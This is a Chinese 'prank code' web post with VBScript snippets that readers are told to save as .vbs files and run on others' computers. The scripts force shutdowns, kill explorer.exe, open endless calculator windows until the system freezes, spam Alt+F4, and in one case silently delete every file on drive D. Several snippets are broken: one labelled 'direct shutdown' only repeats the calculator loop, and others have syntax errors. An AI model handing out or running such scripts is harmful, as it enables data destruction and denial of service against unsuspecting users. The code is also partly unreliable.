整人
以下是小编整理的几个整人代码，操作如下：
第一步：新建文本文档
新建
第二步：粘贴代码
粘贴代码
第三步：文件另存为VBS文件
另存为VBS文件
整蛊一：pin气检测
msgbox "pin气检测开始！！",48
wscript.sleep 500
msgbox "Are you a pinjia?",vbyesno+64,"xxx制作~"
wscript.sleep 1000
if msgbox("由于你的pin气太大，严重干扰系统的正常工作，所以立即重启···",vbokcancel+48)=vbok then
wscript.sleep 600
msgbox "系统招架不住啊！！！！",48+4096
wscript.sleep 1000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 30 -c 这孩子pin气大大滴好！！！",,true
else
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "taskkill /f /im explorer.exe",,true
while true
msgbox "真傻~",48
wscript.sleep 1500
wend
end if
整蛊二：做我女友，关机
msgbox("做我女朋友好不好？")
msgbox("我爱你很久了")
msgbox("请你不要拒绝我")
msgbox("你拒绝我我就关你电脑")
x=msgbox("做我女朋友好不好",VbOkCancel)
if x=VbOk then
msgbox("我也爱你么么哒~")
elseif x=Vbcancel then
msgbox("电脑正在关机，再见！")
set ws=createobject("wscript.shell")
ws.run"cmd.exe /c shutdown -s -f -t 0"
end if
哈哈
整蛊三：快说是猪不然就关机
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我不是猪才怪，不说我不是猪才怪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快说，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
整蛊四：打开无数个计算器，直到死机
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
整蛊五：直接关机
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
整蛊六：删除D:\所有文件
dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.*/ f /q /s""",0,true
整蛊七：不断按下alt+f4
Dim WSHshell
Set WSHshell=wscript.createobject(wscript.shell")
while(l)
WSHshell.SendKeys"%{F4}"
loop
气死你
更多整蛊代码请私信小编或加微信951524268私聊小编